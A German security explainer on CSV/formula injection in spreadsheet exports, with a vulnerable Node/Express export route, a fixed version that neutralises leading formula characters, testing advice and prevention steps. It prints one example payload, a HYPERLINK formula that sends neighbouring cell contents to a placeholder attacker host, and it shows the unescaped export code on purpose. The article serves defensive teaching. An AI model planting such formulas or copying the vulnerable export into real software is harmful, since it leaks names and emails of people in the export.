CSV-Injection in Exportdateien
CWE-1236OWASP A03:2021Aktualisiert 4. September 20265 Min. Lesezeit
Beginnt ein Zellwert in einer Exportdatei mit einem Gleichheits- oder Pluszeichen, behandelt Excel ihn als Formel und führt ihn beim Öffnen aus. Ein Angreifer, der solchen Text in Ihrer Anwendung hinterlassen kann, lässt seine Formel auf dem Rechner des Mitarbeiters laufen, der den Export öffnet, außerhalb Ihrer Anwendung und außerhalb Ihres Blickfelds.
Die meisten Injektionsangriffe richten sich gegen Ihren Server. CSV-Injection tut etwas Ungewöhnliches: Der Code läuft nicht bei Ihnen, sondern auf dem Laptop des Kollegen, der den Export öffnet. Ihre Anwendung ist dabei nicht das Ziel, sondern das Transportmittel, und gerade das macht den Angriff wirksam und schwer erkennbar. Im Folgenden lesen Sie, wie die Kette funktioniert und wo Sie sie brechen.
Was ist CSV-Injection?
CSV-Injection, auch Formula Injection genannt, nutzt eine Eigenschaft von Tabellenprogrammen: Eine Zelle, die mit einem Gleichheitszeichen beginnt, wird nicht als Text gelesen, sondern als Formel, und diese Formel wird beim Öffnen der Datei ausgeführt. Dasselbe gilt für Zellen, die mit einem Plus-, Minus- oder At-Zeichen beginnen.
Eine CSV-Datei kennt keine Datentypen. Dort steht nur Text, durch Kommas getrennt; das Programm, das sie öffnet, entscheidet, was jeder Wert bedeutet. Gelingt es einem Angreifer, irgendwo in Ihrer Anwendung Text zu hinterlassen, der später in einem Export landet, bestimmt er damit den Inhalt einer Zelle und somit möglicherweise eine Formel.
Es gleicht einem Formular, das Sie ausfüllen und das später von einer Maschine gelesen wird, die bestimmte Schreibweisen als Anweisung auffasst. Sie tragen brav Ihren Namen ein; jemand anderes trägt eine Anweisung ein. Die Maschine sieht keinen Unterschied, denn beides sind schlicht Zeichen in einem Kästchen.
Wie läuft ein CSV-Injection-Angriff ab?
Der Angriff verläuft auffällig indirekt und in drei Schritten, die mitunter Wochen auseinanderliegen.
Verwundbar:
// Werte werden unverändert aneinandergereiht
app.get('/verwaltung/anmeldungen.csv', async (req, res) => {
const zeilen = await anmeldungen.alle();
const csv = ['name,email,bemerkung']
.concat(zeilen.map((r) => `${r.name},${r.email},${r.bemerkung}`))
.join('\n');
res.set('Content-Type', 'text/csv');
res.send(csv);
});
Der Angreifer trägt in einem öffentlichen Anmeldeformular im Feld “Name” Folgendes ein:
=HYPERLINK("https://boesartig.example/x?d="&A2&B2,"Für Details klicken")
In der Anwendung selbst geschieht nichts Auffälliges; es ist ein merkwürdiger Name in einer Liste. Öffnet ein Mitarbeiter später jedoch den Export, sieht er in dieser Zelle einen ordentlichen Link. Klickt er darauf, werden die Inhalte der umliegenden Zellen, also Namen und E-Mail-Adressen anderer Angemeldeter, als Parameter an den Server des Angreifers gesendet.
Es gibt schwerere Varianten. Mit einer Formel, die eine externe Anwendung aufruft, lässt sich ein Tabellenprogramm dazu verleiten, einen Befehl auf dem Arbeitsplatzrechner auszuführen. Moderne Versionen zeigen dabei eine Warnung, doch diese Warnung erscheint in einer Datei, die der Nutzer selbst aus einem vertrauenswürdigen System heruntergeladen hat, und dann wird geklickt.
Sicher:
const GEFAEHRLICH = ['=', '+', '-', '@', '\t', '\r'];
function sichereZelle(wert) {
let text = String(wert ?? '');
// Ein führendes Zeichen, das als Formel gelesen werden kann, unschädlich machen
if (GEFAEHRLICH.includes(text[0])) {
text = `'${text}`;
}
// Erst danach die gewöhnlichen CSV-Regeln anwenden
return `"${text.replace(/"/g, '""')}"`;
}
app.get('/verwaltung/anmeldungen.csv', async (req, res) => {
const zeilen = await anmeldungen.alle();
const csv = ['name,email,bemerkung']
.concat(zeilen.map((r) => [r.name, r.email, r.bemerkung].map(sichereZelle).join(',')))
.join('\n');
res.set('Content-Type', 'text/csv; charset=utf-8');
res.set('Content-Disposition', 'attachment; filename="anmeldungen.csv"');
res.send('' + csv);
});
Dem führenden Zeichen wird ein Apostroph vorangestellt, womit das Tabellenprogramm die Zelle als Text behandelt. Erst danach folgt das gewöhnliche Maskieren für das CSV-Format, denn beides ist nicht dasselbe: Anführungszeichen schützen vor einer verschobenen Spalte, nicht vor einer Formel.
Der robustere Weg besteht darin, gar keine CSV zu schreiben, sondern eine echte Tabellendatei, in der Sie je Zelle festlegen, dass der Inhalt Text ist. Dann gibt es keine Deutung mehr, die schieflaufen könnte.
Welche Auswirkungen hat CSV-Injection?
Der Schweregrad reicht von mittel bis hoch, abhängig vor allem davon, wer den Export öffnet und mit welchen Rechten. Diesen Befund zeichnet aus, dass der Schaden außerhalb Ihrer Anwendung entsteht.
Die häufigste Folge ist der Abfluss von Daten aus der Exportdatei selbst. Eine Formel kann den Inhalt anderer Zellen in einem externen Aufruf verarbeiten, womit genau die Daten abfließen, die in dieser Datei stehen, oft eine vollständige Liste von Kunden oder Mitarbeitern.
Ernster wird es, wenn das Tabellenprogramm zum Start eines externen Prozesses verleitet wird. Dann verlagert sich der Angriff auf den Arbeitsplatzrechner des Mitarbeiters, mit dessen Rechten und innerhalb Ihres internen Netzes. Genau das ist die Art von Ausgangspunkt, mit der sich ein Angreifer weiter durch eine Organisation bewegt. Und da Exporte meist von Administratoren oder Mitarbeitern mit weitem Überblick geöffnet werden, geht es selten um einen beliebigen Arbeitsplatz.
Was die Erkennung erschwert: In Ihrer Anwendung ist nichts geschehen. Die Eingabe wurde ordentlich gespeichert, der Export ordentlich erzeugt. Der Vorfall findet auf einem Laptop statt, in einem Programm, das Sie nicht verwalten.
Wie spürt man CSV-Injection auf?
Ein Tester erfasst zunächst, welche Daten von Nutzern geliefert werden können und später in einem Export landen: Anmeldeformulare, Kontaktanfragen, Bemerkungsfelder, Profildaten, aber auch Werte, die über eine API oder eine Anbindung hereinkommen.
Anschließend wird in diesen Feldern eine harmlose Testformel platziert und der Export heruntergeladen, um zu sehen, ob das führende Zeichen erhalten geblieben ist. Eine Formel, die ohne vorangestellten Apostroph als Text in der Datei steht, ist ein bestätigter Befund, denn die Ausführung geschieht erst beim Empfänger und muss zur Feststellung des Risikos nicht nachgewiesen werden. Ebenso werden alle Exportwege gesondert betrachtet, denn Anwendungen haben oft mehrere, und diese sind selten von derselben Person geschrieben. Dasselbe gilt für Berichte, die per E-Mail versandt werden, und für Dateien, die automatisch in einen gemeinsamen Ordner geschrieben werden. AssistSec bezieht dabei auch die umgekehrte Richtung ein: Dateien, die Ihre Anwendung einliest, verdienen dieselbe Behandlung.
Wie verhindert man CSV-Injection?
- Stellen Sie beim Export jedem Zellwert, der mit
=,+,-,@, einem Tabulator oder einem Wagenrücklauf beginnt, einen Apostroph voran. - Führen Sie diesen Schritt beim Erzeugen der Datei aus, nicht beim Speichern der Eingabe.
- Wenden Sie zusätzlich die gewöhnlichen CSV-Regeln an, indem Sie Anführungszeichen korrekt verdoppeln.
- Erzeugen Sie bevorzugt eine echte Tabellendatei, in der Sie Zelltypen ausdrücklich auf Text setzen.
- Behandeln Sie alle Exportwege gleich, einschließlich Berichten per E-Mail und automatisierter Ausgabe.
- Senden Sie Exporte mit
Content-Disposition: attachmentund einem ausdrücklichen Zeichensatz. - Wenden Sie dieselbe Prüfung auf Daten an, die über APIs oder Anbindungen hereinkommen, nicht nur auf Webformulare.
- Weisen Sie Mitarbeiter darauf hin, Warnungen ihres Tabellenprogramms ernst zu nehmen, auch bei einer vertrauten Datei.
Quellen
Häufige Fragen
Ist das mein Problem, wenn das Tabellenprogramm es ausführt?
Ja. Ihre Anwendung liefert die Datei aus, und Ihr Nutzer vertraut ihr genau deshalb. Dass die Ausführung anderswo geschieht, macht die Kette nicht weniger zu Ihrer Verantwortung; es macht sie nur in Ihren eigenen Protokollen schwerer sichtbar.
Welche Zeichen muss ich abfangen?
Die klassischen sind Gleichheitszeichen, Pluszeichen, Minuszeichen und At-Zeichen am Zellanfang. Dazu Tabulator und Wagenrücklauf, da diese die Zelle verschieben können, sodass ein folgendes Zeichen doch vorn steht. Beurteilen Sie stets das erste sichtbare Zeichen.
Hilft es, Werte in Anführungszeichen zu setzen?
Nein. Anführungszeichen gehören zum CSV-Format und grenzen das Feld ab; sie werden beim Einlesen entfernt. Die Formel steht danach ganz normal vorn in der Zelle und wird dennoch ausgeführt. Sie müssen das erste Zeichen selbst unschädlich machen.
Ist eine echte XLSX-Datei sicherer?
Insofern, als Sie dann ausdrücklich festlegen, ob eine Zelle Text oder Formel ist, was den Angriff strukturell ausschließt. Das ist somit die robusteste Lösung: mit einer Tabellenbibliothek schreiben und Zelltypen ausdrücklich auf Text setzen, statt Kommas aneinanderzureihen.
Verwandte Artikel
- SchwachstellenCWE-78A03:2021OS Command InjectionOS Command Injection erklärt: wie Shell-Sonderzeichen in einen Systemaufruf gelangen, was ein Angreifer erreicht und wie Argumentlisten das verhindern.
- SchwachstellenCWE-79A03:2021Cross-Site-Scripting (XSS)Cross-Site-Scripting (XSS) schleust schädliche Skripte in Webseiten ein, die im Browser der Besucher laufen. So funktioniert XSS und so verhindern Sie es.
- SchwachstellenCWE-200A01:2021Information DisclosureInformation Disclosure erklärt: wie Stack Traces, .git-Verzeichnisse, Source Maps und zu großzügige API-Antworten Daten preisgeben.
- SchwachstellenCWE-20A04:2021Eingabevalidierung fehlt auf dem ServerValidierung, die nur in JavaScript stattfindet, lässt sich mit einer direkten Anfrage umgehen. Lesen Sie, warum der Server jeden Wert erneut prüfen muss.